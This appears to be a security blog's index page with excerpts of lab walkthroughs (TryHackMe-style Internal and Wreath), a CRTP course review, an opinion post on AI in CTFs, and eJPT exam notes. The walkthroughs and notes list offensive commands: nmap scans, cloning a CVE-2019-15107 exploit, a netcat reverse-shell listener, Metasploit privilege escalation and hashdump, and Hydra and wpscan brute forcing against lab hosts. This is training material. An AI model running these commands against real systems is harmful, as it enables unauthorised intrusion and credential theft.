Posts on Mario López

On AI on CTFs

Sun, 09 Aug 2026 12:00:00 +0200

Why I think CTF competitions should measure the competitor, not the model or workflow they bring into the event.

CRTP Review

Wed, 29 Jan 2025 16:41:43 +0100

Last week, I took the Certified Red Team Professional course. My goal was to build a strong foundation in Active Directory attack and defense, and honestly, I couldn’t have asked for a better course. From the materials to the lab experience, everything exceeded my expectations.

Course Experience

I started by watching the video tutorials, which explain core Active Directory concepts. These are a must-watch, as they cover everything essential. Taking good notes on these videos can save you a lot of research time later.

Internal Walkthrough

Mon, 18 Nov 2024 21:56:18 +0100

Initial Enumeration

So lets deploy the machine and start enumerating.

We can see ssh open on port 22 and a http web server on port 80. If we enter on 10.10.199.61 we see Apache2 Ubuntu Default Page.

After some directory enumeration, we find the following:

/blog
/phpmyadmin
/javascript
/wordpress/wp-login.php

It is necessary to add internal.thm to our /etc/hosts file to navigate through the website.

Since we know admin is a user because he has a post on the website, we can brute force the login page using wpscan and rockyou.txt for the password.

Wreath Walkthrough

Mon, 18 Nov 2024 21:56:18 +0100

Enumeration

Nmap scan for open ports

nmap -p-15000 -vv 10.200.81.200

Nmap scan for OS recognition through headers

nmap -vv 10.200.81.200 --script=http-headers

Exploitation

Once vulnerability is found, download script from github.

git clone https://github.com/MuirlandOracle/CVE-2019-15107

For python pip install:

sudo apt install python3-pip

If privileges are missing use:

chmod +x yourfile.py

Now we can open the reverse shell:

Set up netcat listener to catch reverse shell.

nc -lvnp 4444

Use rlwrap to stabilise the shell.

Now lets get ssh credentials since we won’t be able to crack password hash.

eJPT Exam Prep

Sat, 10 Dec 2022 12:00:00 +0100

Metasploit

Basic Commands

search x
use x
info
show options, show advanced options
SET X (e.g. set RHOST 10.10.10.10, set payload x)

Meterpreter Commands

background
sessions -l
sessions -i 1
sysinfo, ifconfig, route, getuid
getsystem (privesc)
bypassuac
download x /root/
upload x C:\\Windows
shell
use post/windows/gather/hashdump

Networking Attacks

Brute Force with Hydra

hydra -L users.txt -P pass.txt -t 10 10.10.10.10 ssh -s 22
hydra -L users.txt -P pass.txt telnet://10.10.10.10

Windows Shares with null sessions